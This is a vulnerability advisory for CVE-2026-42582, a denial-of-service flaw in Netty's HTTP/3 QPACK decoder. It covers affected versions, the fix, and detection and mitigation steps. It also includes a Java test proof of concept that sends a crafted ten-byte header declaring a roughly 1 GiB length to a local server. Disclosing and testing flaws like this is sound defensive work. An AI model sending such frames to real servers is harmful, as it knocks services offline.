CVE-2026-42582 — netty-codec-http3
HIGHCVE-2026-42582 is a high-severity (CVSS 7.5) CWE-770 vulnerability in io.netty:netty-codec-http3. A fix is available for io.netty:netty-codec-http3 — see the affected versions and patch details below.
Netty: HTTP/3 QPACK literal unbounded allocation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42582.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
io.netty:netty-codec-http3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-http3 | ≥ 4.2.0.Final&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-codec-http3:4.2.13.Final |
Affected Products
nettynettyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-http3 to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42582 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important denial of service vulnerability in Netty's HTTP/3 QPACK decoder. A remote attacker can trigger excessive memory allocation by sending a malformed HTTP/3 header, leading to resource exhaustion. This is particularly impactful in environments where Netty-based applications handle untrusted network…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-42582 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-42582 in your dependencies?
Find it across Maven, including transitive dependencies.